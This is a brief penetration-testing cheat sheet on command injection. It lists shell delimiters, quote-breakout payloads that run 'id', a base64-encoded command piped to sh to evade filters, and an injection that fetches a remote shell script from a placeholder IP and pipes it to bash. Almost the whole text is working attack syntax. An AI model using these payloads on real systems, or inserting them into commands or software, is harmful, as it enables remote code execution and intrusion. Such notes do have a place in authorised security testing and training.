🐚 Command Injection

When you find an input, imagine the backend. e.g. backend ssh -i id_rsa user@host
→ inject user@host; curl http://IP/shell.sh|bash;

Delimiters

; · && · || · & · | · ${IFS} · ${VARIABLE} · $(command)

Breaking out of quotes

ping -c 1 "$input"   →   ping -c 1 ""; id; #"
ping -c 1 '$input'   →   ping -c 1 ''; id; #'

Restricted environments

echo bHMgLWwgLwo= | base64 -d | sh       # run a base64-encoded command
some_command $(whoami)                   # inline substitution

Catch the shell: Shell-stabilization. Serve payloads: file-transfer.